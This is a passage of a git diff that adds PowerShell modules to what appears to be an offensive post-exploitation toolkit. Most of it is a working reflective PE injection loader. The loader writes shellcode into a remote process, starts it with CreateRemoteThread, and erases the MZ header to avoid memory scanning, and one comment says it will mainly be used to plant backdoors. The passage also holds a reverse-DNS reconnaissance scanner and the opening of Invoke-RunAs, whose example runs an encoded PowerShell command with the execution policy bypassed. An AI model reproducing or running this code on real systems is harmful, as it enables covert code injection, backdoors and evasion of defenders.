$Win32Functions.VirtualAlloc.Invoke([IntPtr]::Zero, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + + #todo, error handling needs to delete this memory if an error happens along the way + $EffectivePEHandle = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, $LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($EffectivePEHandle -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process. If the PE being loaded doesn't support ASLR, it could be that the requested base address of the PE is already in use" + } + } + else + { + if ($NXCompatible -eq $true) + { + $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + } + else + { + $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + } + $EffectivePEHandle = $PEHandle + } + + [IntPtr]$PEEndAddress = Add-SignedIntAsUnsigned ($PEHandle) ([Int64]$PEInfo.SizeOfImage) + if ($PEHandle -eq [IntPtr]::Zero) + { + Throw "VirtualAlloc failed to allocate memory for PE. If PE is not ASLR compatible, try running the script in a new PowerShell process (the new PowerShell process will have a different memory layout, so the address the PE wants might be free)." + } + [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $PEHandle, $PEInfo.SizeOfHeaders) | Out-Null + + + #Now that the PE is in memory, get more detailed information about it + Write-Verbose "Getting detailed PE information from the headers loaded in memory" + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + $PEInfo | Add-Member -MemberType NoteProperty -Name EndAddress -Value $PEEndAddress + $PEInfo | Add-Member -MemberType NoteProperty -Name EffectivePEHandle -Value $EffectivePEHandle + Write-Verbose "StartAddress: $(Get-Hex $PEHandle) EndAddress: $(Get-Hex $PEEndAddress)" + + + #Copy each section from the PE in to memory + Write-Verbose "Copy PE sections in to memory" + Copy-Sections -PEBytes $PEBytes -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types + + + #Update the memory addresses hardcoded in to the PE based on the memory address the PE was expecting to be loaded to vs where it was actually loaded + Write-Verbose "Update memory addresses based on where the PE was actually loaded in memory" + Update-MemoryAddresses -PEInfo $PEInfo -OriginalImageBase $OriginalImageBase -Win32Constants $Win32Constants -Win32Types $Win32Types + + + #The PE we are in-memory loading has DLLs it needs, import those DLLs for it + Write-Verbose "Import DLL's needed by the PE we are loading" + if ($RemoteLoading -eq $true) + { + Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants -RemoteProcHandle $RemoteProcHandle + } + else + { + Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants + } + + + #Update the memory protection flags for all the memory just allocated + if ($RemoteLoading -eq $false) + { + if ($NXCompatible -eq $true) + { + Write-Verbose "Update memory protection flags" + Update-MemoryProtectionFlags -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -Win32Types $Win32Types + } + else + { + Write-Verbose "PE being reflectively loaded is not compatible with NX memory, keeping memory as read write execute" + } + } + else + { + Write-Verbose "PE being loaded in to a remote process, not adjusting memory permissions" + } + + + #If remote loading, copy the DLL in to remote process memory + if ($RemoteLoading -eq $true) + { + [UInt32]$NumBytesWritten = 0 + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $EffectivePEHandle, $PEHandle, [UIntPtr]($PEInfo.SizeOfImage), [Ref]$NumBytesWritten) + if ($Success -eq $false) + { + Throw "Unable to write shellcode to remote process memory." + } + } + + + #Call the entry point, if this is a DLL the entrypoint is the DllMain function, if it is an EXE it is the Main function + if ($PEInfo.FileType -ieq "DLL") + { + if ($RemoteLoading -eq $false) + { + Write-Verbose "Calling dllmain so the DLL knows it has been loaded" + $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) + $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) + + $DllMain.Invoke($PEInfo.PEHandle, 1, [IntPtr]::Zero) | Out-Null + } + else + { + $DllMainPtr = Add-SignedIntAsUnsigned ($EffectivePEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + + if ($PEInfo.PE64Bit -eq $true) + { + #Shellcode: CallDllMain.asm + $CallDllMainSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x66, 0x83, 0xe4, 0x00, 0x48, 0xb9) + $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0xb8) + $CallDllMainSC3 = @(0xff, 0xd0, 0x48, 0x89, 0xdc, 0x5b, 0xc3) + } + else + { + #Shellcode: CallDllMain.asm + $CallDllMainSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xf0, 0xb9) + $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x50, 0x52, 0x51, 0xb8) + $CallDllMainSC3 = @(0xff, 0xd0, 0x89, 0xdc, 0x5b, 0xc3) + } + $SCLength = $CallDllMainSC1.Length + $CallDllMainSC2.Length + $CallDllMainSC3.Length + ($PtrSize * 2) + $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) + $SCPSMemOriginal = $SCPSMem + + Write-BytesToMemory -Bytes $CallDllMainSC1 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($EffectivePEHandle, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $CallDllMainSC2 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($DllMainPtr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $CallDllMainSC3 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC3.Length) + + $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($RSCAddr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for shellcode" + } + + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) + if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) + { + Throw "Unable to write shellcode to remote process memory." + } + + $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + } + } + elseif ($PEInfo.FileType -ieq "EXE") + { + #Overwrite GetCommandLine and ExitProcess so we can provide our own arguments to the EXE and prevent it from killing the PS process + [IntPtr]$ExeDoneBytePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(1) + [System.Runtime.InteropServices.Marshal]::WriteByte($ExeDoneBytePtr, 0, 0x00) + $OverwrittenMemInfo = Update-ExeFunctions -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -ExeArguments $ExeArgs -ExeDoneBytePtr $ExeDoneBytePtr + + #If this is an EXE, call the entry point in a new thread. We have overwritten the ExitProcess function to instead ExitThread + # This way the reflectively loaded EXE won't kill the powershell process when it exits, it will just kill its own thread. + [IntPtr]$ExeMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + Write-Verbose "Call EXE Main function. Address: $(Get-Hex $ExeMainPtr). Creating thread for the EXE to run in." + + $Win32Functions.CreateThread.Invoke([IntPtr]::Zero, [IntPtr]::Zero, $ExeMainPtr, [IntPtr]::Zero, ([UInt32]0), [Ref]([UInt32]0)) | Out-Null + + while($true) + { + [Byte]$ThreadDone = [System.Runtime.InteropServices.Marshal]::ReadByte($ExeDoneBytePtr, 0) + if ($ThreadDone -eq 1) + { + Copy-ArrayOfMemAddresses -CopyInfo $OverwrittenMemInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants + Write-Verbose "EXE thread has completed." + break + } + else + { + Start-Sleep -Seconds 1 + } + } + } + + return @($PEInfo.PEHandle, $EffectivePEHandle) + } + + + Function Invoke-MemoryFreeLibrary + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $PEHandle + ) + + #Get Win32 constants and functions + $Win32Constants = Get-Win32Constants + $Win32Functions = Get-Win32Functions + $Win32Types = Get-Win32Types + + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + + #Call FreeLibrary for all the imports of the DLL + if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) + { + [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) + + while ($true) + { + $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR) + + #If the structure is null, it signals that this is the end of the array + if ($ImportDescriptor.Characteristics -eq 0 ` + -and $ImportDescriptor.FirstThunk -eq 0 ` + -and $ImportDescriptor.ForwarderChain -eq 0 ` + -and $ImportDescriptor.Name -eq 0 ` + -and $ImportDescriptor.TimeDateStamp -eq 0) + { + Write-Verbose "Done unloading the libraries needed by the PE" + break + } + + $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi((Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name))) + $ImportDllHandle = $Win32Functions.GetModuleHandle.Invoke($ImportDllPath) + + if ($ImportDllHandle -eq $null) + { + Write-Warning "Error getting DLL handle in MemoryFreeLibrary, DLLName: $ImportDllPath. Continuing anyways" -WarningAction Continue + } + + $Success = $Win32Functions.FreeLibrary.Invoke($ImportDllHandle) + if ($Success -eq $false) + { + Write-Warning "Unable to free library: $ImportDllPath. Continuing anyways." -WarningAction Continue + } + + $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)) + } + } + + #Call DllMain with process detach + Write-Verbose "Calling dllmain so the DLL knows it is being unloaded" + $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) + $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) + + $DllMain.Invoke($PEInfo.PEHandle, 0, [IntPtr]::Zero) | Out-Null + + + $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) + if ($Success -eq $false) + { + Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue + } + } + + + Function Main + { + $Win32Functions = Get-Win32Functions + $Win32Types = Get-Win32Types + $Win32Constants = Get-Win32Constants + + $RemoteProcHandle = [IntPtr]::Zero + + #If a remote process to inject in to is specified, get a handle to it + if (($ProcId -ne $null) -and ($ProcId -ne 0) -and ($ProcName -ne $null) -and ($ProcName -ne "")) + { + Throw "Can't supply a ProcId and ProcName, choose one or the other" + } + elseif ($ProcName -ne $null -and $ProcName -ne "") + { + $Processes = @(Get-Process -Name $ProcName -ErrorAction SilentlyContinue) + if ($Processes.Count -eq 0) + { + Throw "Can't find process $ProcName" + } + elseif ($Processes.Count -gt 1) + { + $ProcInfo = Get-Process | where { $_.Name -eq $ProcName } | Select-Object ProcessName, Id, SessionId + Write-Output $ProcInfo + Throw "More than one instance of $ProcName found, please specify the process ID to inject in to." + } + else + { + $ProcId = $Processes[0].ID + } + } + + #Just realized that PowerShell launches with SeDebugPrivilege for some reason.. So this isn't needed. Keeping it around just incase it is needed in the future. + #If the script isn't running in the same Windows logon session as the target, get SeDebugPrivilege +# if ((Get-Process -Id $PID).SessionId -ne (Get-Process -Id $ProcId).SessionId) +# { +# Write-Verbose "Getting SeDebugPrivilege" +# Enable-SeDebugPrivilege -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants +# } + + if (($ProcId -ne $null) -and ($ProcId -ne 0)) + { + $RemoteProcHandle = $Win32Functions.OpenProcess.Invoke(0x001F0FFF, $false, $ProcId) + if ($RemoteProcHandle -eq [IntPtr]::Zero) + { + Throw "Couldn't obtain the handle for process ID: $ProcId" + } + + Write-Verbose "Got the handle for the remote process to inject in to" + } + + + #Load the PE reflectively + Write-Verbose "Calling Invoke-MemoryLoadLibrary" + $PEHandle = [IntPtr]::Zero + if ($RemoteProcHandle -eq [IntPtr]::Zero) + { + $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -ForceASLR $ForceASLR + } + else + { + $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -RemoteProcHandle $RemoteProcHandle -ForceASLR $ForceASLR + } + if ($PELoadedInfo -eq [IntPtr]::Zero) + { + Throw "Unable to load PE, handle returned is NULL" + } + + $PEHandle = $PELoadedInfo[0] + $RemotePEHandle = $PELoadedInfo[1] #only matters if you loaded in to a remote process + + + #Check if EXE or DLL. If EXE, the entry point was already called and we can now return. If DLL, call user function. + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + if (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -eq [IntPtr]::Zero)) + { + ######################################### + ### YOUR CODE GOES HERE + ######################################### + switch ($FuncReturnType) + { + 'WString' { + Write-Verbose "Calling function with WString return type" + [IntPtr]$WStringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "WStringFunc" + if ($WStringFuncAddr -eq [IntPtr]::Zero) + { + Throw "Couldn't find function address." + } + $WStringFuncDelegate = Get-DelegateType @() ([IntPtr]) + $WStringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WStringFuncAddr, $WStringFuncDelegate) + [IntPtr]$OutputPtr = $WStringFunc.Invoke() + $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($OutputPtr) + Write-Output $Output + } + + 'String' { + Write-Verbose "Calling function with String return type" + [IntPtr]$StringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "StringFunc" + if ($StringFuncAddr -eq [IntPtr]::Zero) + { + Throw "Couldn't find function address." + } + $StringFuncDelegate = Get-DelegateType @() ([IntPtr]) + $StringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StringFuncAddr, $StringFuncDelegate) + [IntPtr]$OutputPtr = $StringFunc.Invoke() + $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($OutputPtr) + Write-Output $Output + } + + 'Void' { + Write-Verbose "Calling function with Void return type" + [IntPtr]$VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc" + if ($VoidFuncAddr -eq [IntPtr]::Zero) + { + Throw "Couldn't find function address." + } + $VoidFuncDelegate = Get-DelegateType @() ([Void]) + $VoidFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VoidFuncAddr, $VoidFuncDelegate) + $VoidFunc.Invoke() | Out-Null + } + } + ######################################### + ### END OF YOUR CODE + ######################################### + } + #For remote DLL injection, call a void function which takes no parameters + elseif (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -ne [IntPtr]::Zero)) + { + $VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc" + if (($VoidFuncAddr -eq $null) -or ($VoidFuncAddr -eq [IntPtr]::Zero)) + { + Throw "VoidFunc couldn't be found in the DLL" + } + + $VoidFuncAddr = Sub-SignedIntAsUnsigned $VoidFuncAddr $PEHandle + $VoidFuncAddr = Add-SignedIntAsUnsigned $VoidFuncAddr $RemotePEHandle + + #Create the remote thread, don't wait for it to return.. This will probably mainly be used to plant backdoors + $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAddr -Win32Functions $Win32Functions + } + + #Don't free a library if it is injected in a remote process or if it is an EXE. + #Note that all DLL's loaded by the EXE will remain loaded in memory. + if ($RemoteProcHandle -eq [IntPtr]::Zero -and $PEInfo.FileType -ieq "DLL") + { + Invoke-MemoryFreeLibrary -PEHandle $PEHandle + } + else + { + #Delete the PE file from memory. + $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) + if ($Success -eq $false) + { + Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue + } + } + + Write-Verbose "Done!" + } + + Main +} + +#Main function to either run the script locally or remotely +Function Main +{ + if (($PSCmdlet.MyInvocation.BoundParameters["Debug"] -ne $null) -and $PSCmdlet.MyInvocation.BoundParameters["Debug"].IsPresent) + { + $DebugPreference = "Continue" + } + + Write-Verbose "PowerShell ProcessID: $PID" + + #Verify the image is a valid PE file + $e_magic = ($PEBytes[0..1] | % {[Char] $_}) -join '' + + if ($e_magic -ne 'MZ') + { + throw 'PE is not a valid PE file.' + } + + if (-not $DoNotZeroMZ) { + # Remove 'MZ' from the PE file so that it cannot be detected by .imgscan in WinDbg + # TODO: Investigate how much of the header can be destroyed, I'd imagine most of it can be. + $PEBytes[0] = 0 + $PEBytes[1] = 0 + } + + #Add a "program name" to exeargs, just so the string looks as normal as possible (real args start indexing at 1) + if ($ExeArgs -ne $null -and $ExeArgs -ne '') + { + $ExeArgs = "ReflectiveExe $ExeArgs" + } + else + { + $ExeArgs = "ReflectiveExe" + } + + if ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$") + { + Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR) + } + else + { + Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR) -ComputerName $ComputerName + } +} + +Main +} \ No newline at end of file diff --git a/Modules/Invoke-ReverseDnsLookup.ps1 b/Modules/Invoke-ReverseDnsLookup.ps1 new file mode 100644 index 0000000..0580dce --- /dev/null +++ b/Modules/Invoke-ReverseDnsLookup.ps1 @@ -0,0 +1,220 @@ +function Invoke-ReverseDnsLookup +{ +<# +.SYNOPSIS + +Perform a reverse DNS lookup scan on a range of IP addresses. + +PowerSploit Function: Invoke-ReverseDnsLookup +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Invoke-ReverseDnsLookup scans an IP address range for DNS PTR records. This script is useful for performing DNS reconnaisance prior to conducting an authorized penetration test. + +.PARAMETER IPRange + +Specifies the IP address range. The range provided can be in the form of a single IP address, a low-high range, or a CIDR range. Comma-delimited ranges may can be provided. + +.EXAMPLE + +C:\PS> Invoke-ReverseDnsLookup 74.125.228.0/29 + +IP HostName +-- -------- +74.125.228.1 iad23s05-in-f1.1e100.net +74.125.228.2 iad23s05-in-f2.1e100.net +74.125.228.3 iad23s05-in-f3.1e100.net +74.125.228.4 iad23s05-in-f4.1e100.net +74.125.228.5 iad23s05-in-f5.1e100.net +74.125.228.6 iad23s05-in-f6.1e100.net + +Description +----------- +Returns the hostnames of the IP addresses specified by the CIDR range. + +.EXAMPLE + +C:\PS> Invoke-ReverseDnsLookup '74.125.228.1,74.125.228.4-74.125.228.6' + +IP HostName +-- -------- +74.125.228.1 iad23s05-in-f1.1e100.net +74.125.228.4 iad23s05-in-f4.1e100.net +74.125.228.5 iad23s05-in-f5.1e100.net +74.125.228.6 iad23s05-in-f6.1e100.net + +Description +----------- +Returns the hostnames of the IP addresses specified by the IP range specified. + +.EXAMPLE + +PS C:\> Write-Output "74.125.228.1,74.125.228.0/29" | Invoke-ReverseDnsLookup + +IP HostName +-- -------- +74.125.228.1 iad23s05-in-f1.1e100.net +74.125.228.1 iad23s05-in-f1.1e100.net +74.125.228.2 iad23s05-in-f2.1e100.net +74.125.228.3 iad23s05-in-f3.1e100.net +74.125.228.4 iad23s05-in-f4.1e100.net +74.125.228.5 iad23s05-in-f5.1e100.net +74.125.228.6 iad23s05-in-f6.1e100.net + +Description +----------- +Returns the hostnames of the IP addresses piped from another source. + + +.LINK + +http://www.exploit-monday.com +https://github.com/mattifestation/PowerSploit +#> + + Param ( + [Parameter(Position = 0, Mandatory = $True,ValueFromPipeline=$True)] + [String] + $IpRange + ) + + BEGIN { + + function Parse-IPList ([String] $IpRange) + { + + function IPtoInt + { + Param([String] $IpString) + + $Hexstr = "" + $Octets = $IpString.Split(".") + foreach ($Octet in $Octets) { + $Hexstr += "{0:X2}" -f [Int] $Octet + } + return [Convert]::ToInt64($Hexstr, 16) + } + + function InttoIP + { + Param([Int64] $IpInt) + $Hexstr = $IpInt.ToString("X8") + $IpStr = "" + for ($i=0; $i -lt 8; $i += 2) { + $IpStr += [Convert]::ToInt64($Hexstr.SubString($i,2), 16) + $IpStr += '.' + } + return $IpStr.TrimEnd('.') + } + + $Ip = [System.Net.IPAddress]::Parse("127.0.0.1") + + foreach ($Str in $IpRange.Split(",")) + { + $Item = $Str.Trim() + $Result = "" + $IpRegex = "\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}" + + # First, validate the input + switch -regex ($Item) + { + "^$IpRegex/\d{1,2}$" + { + $Result = "cidrRange" + break + } + "^$IpRegex-$IpRegex$" + { + $Result = "range" + break + } + "^$IpRegex$" + { + $Result = "single" + break + } + default + { + Write-Warning "Inproper input" + return + } + } + + #Now, start processing the IP addresses + switch ($Result) + { + "cidrRange" + { + $CidrRange = $Item.Split("/") + $Network = $CidrRange[0] + $Mask = $CidrRange[1] + + if (!([System.Net.IPAddress]::TryParse($Network, [ref] $Ip))) { Write-Warning "Invalid IP address supplied!"; return} + if (($Mask -lt 0) -or ($Mask -gt 30)) { Write-Warning "Invalid network mask! Acceptable values are 0-30"; return} + + $BinaryIP = [Convert]::ToString((IPtoInt $Network),2).PadLeft(32,'0') + #Generate lower limit (Excluding network address) + $Lower = $BinaryIP.Substring(0, $Mask) + "0" * ((32-$Mask)-1) + "1" + #Generate upperr limit (Excluding broadcast address) + $Upper = $BinaryIP.Substring(0, $Mask) + "1" * ((32-$Mask)-1) + "0" + $LowerInt = [Convert]::ToInt64($Lower, 2) + $UpperInt = [Convert]::ToInt64($Upper, 2) + for ($i = $LowerInt; $i -le $UpperInt; $i++) { InttoIP $i } + } + "range" + { + $Range = $item.Split("-") + + if ([System.Net.IPAddress]::TryParse($Range[0],[ref]$Ip)) { $Temp1 = $Ip } + else { Write-Warning "Invalid IP address supplied!"; return } + + if ([System.Net.IPAddress]::TryParse($Range[1],[ref]$Ip)) { $Temp2 = $Ip } + else { Write-Warning "Invalid IP address supplied!"; return } + + $Left = (IPtoInt $Temp1.ToString()) + $Right = (IPtoInt $Temp2.ToString()) + + if ($Right -gt $Left) { + for ($i = $Left; $i -le $Right; $i++) { InttoIP $i } + } + else { Write-Warning "Invalid IP range. The right portion must be greater than the left portion."; return} + + break + } + "single" + { + if ([System.Net.IPAddress]::TryParse($Item,[ref]$Ip)) { $Ip.IPAddressToString } + else { Write-Warning "Invalid IP address supplied!"; return } + break + } + default + { + Write-Warning "An error occured." + return + } + } + } + + } + } + + PROCESS { + Parse-IPList $IpRange | ForEach-Object { + try { + Write-Verbose "Resolving $_" + $Temp = [System.Net.Dns]::GetHostEntry($_) + + $Result = @{ + IP = $_ + HostName = $Temp.HostName + } + + New-Object PSObject -Property $Result + } catch [System.Net.Sockets.SocketException] {} + } + } +} diff --git a/Modules/Invoke-RunAs.ps1 b/Modules/Invoke-RunAs.ps1 new file mode 100644 index 0000000..c2231c5 --- /dev/null +++ b/Modules/Invoke-RunAs.ps1 @@ -0,0 +1,317 @@ +$psloadedrunas = $null +function Invoke-Runas { +<# +.SYNOPSIS + Overview: + + if running as Standard user - Args MAX Length is 1024 characters + using Advapi32::CreateProcessWithLogonW + + if running as SYSTEM user - Args MAX Length is 32k characters + Advapi32::LogonUser, Advapi32::DuplicateTokenEx, CreateProcessAsUser + + Parameters: + + -User Specifiy username. + + -Password Specify password. + + -Domain Specify domain. Defaults to localhost if not specified. + + -Command Full path of the module to be executed. + + -Args Args to be executed, must start with a space, e.g. " /c calc.exe" Size can vary depending on the user + +.EXAMPLE + Invoke-Runas -User Ted -Password Password1 -Domain MYDOMAIN -Command C:\Temp\Runme.exe + +.EXAMPLE + Invoke-Runas -User Ted -Password Password1 -Domain MYDOMAIN -Command C:\Windows\system32\WindowsPowershell\v1.0\powershell.exe -Args " -exec bypass -e Tjsksdsadsa" + +.DESCRIPTION + Author: Ben Turner (@benpturner) + License: BSD 3-Clause +#> + + param ( + [Parameter(Mandatory = $True)] + [string]$User, + [Parameter(Mandatory = $True)] + [string]$Password, + [Parameter(Mandatory = $False)] + [string]$Domain=".", + [Parameter(Mandatory = $True)] + [string]$Command, + [Parameter(Mandatory = $False)] + [string]$Args, + [Parameter(Mandatory=$False)] + [switch]$AddType + ) + +if ($AddType.IsPresent) { + +echo "[+] Loading Assembly using AddType" +echo "" + + Add-Type -TypeDefinition @" + using System; + using System.Diagnostics; + using System.Runtime.InteropServices; + using System.Security.Principal; + + [StructLayout(LayoutKind.Sequential)] + public struct SECURITY_ATTRIBUTES + { + public Int32 Length; + public IntPtr lpSecurityDescriptor; + public bool bInheritHandle; + } + + public enum SECURITY_IMPERSONATION_LEVEL + { + SecurityAnonymous, + SecurityIdentification, + SecurityImpersonation, + SecurityDelegation + } + + [StructLayout(LayoutKind.Sequential)] + public struct PROCESS_INFORMATION + { + public IntPtr hProcess; + public IntPtr hThread; + public uint dwProcessId; + public uint dwThreadId; + } + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + public struct STARTUPINFO + { + public uint cb; + public string lpReserved; + public string lpDesktop; + public string lpTitle; + public uint dwX; + public uint dwY; + public uint dwXSize; + public uint dwYSize; + public uint dwXCountChars; + public uint dwYCountChars; + public uint dwFillAttribute; + public uint dwFlags; + public short wShowWindow; + public short cbReserved2; + public IntPtr lpReserved2; + public IntPtr hStdInput; + public IntPtr hStdOutput; + public IntPtr hStdError; + } + + public class AdjPriv + { + [DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)] + internal static extern bool AdjustTokenPrivileges(IntPtr htok, bool disall, ref TokPriv1Luid newst, int len, IntPtr prev, IntPtr relen); + + [DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)] + internal static extern bool OpenProcessToken(IntPtr h, int acc, ref IntPtr phtok); + + [DllImport("advapi32.dll", SetLastError = true)] + internal static extern bool LookupPrivilegeValue(string host, string name, ref long pluid); + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + internal struct TokPriv1Luid + { + public int Count; + public long Luid; + public int Attr; + } + + internal const int SE_PRIVILEGE_ENABLED = 0x00000002; + internal const int SE_PRIVILEGE_DISABLED = 0x00000000; + internal const int TOKEN_QUERY = 0x00000008; + internal const int TOKEN_ADJUST_PRIVILEGES = 0x00000020; + + public static bool EnablePrivilege(long processHandle, string privilege, bool disable) + { + bool retVal; + TokPriv1Luid tp; + IntPtr hproc = new IntPtr(processHandle); + IntPtr htok = IntPtr.Zero; + retVal = OpenProcessToken(hproc, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, ref htok); + tp.Count = 1; + tp.Luid = 0; + if(disable) + { + tp.Attr = SE_PRIVILEGE_DISABLED; + } + else + { + tp.Attr = SE_PRIVILEGE_ENABLED; + } + retVal = LookupPrivilegeValue(null, privilege, ref tp.Luid); + retVal = AdjustTokenPrivileges(htok, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero); + return retVal; + } + } + + public static class Advapi32 + { + + [DllImport("advapi32.dll", CharSet=CharSet.Auto)] + public extern static bool DuplicateTokenEx( 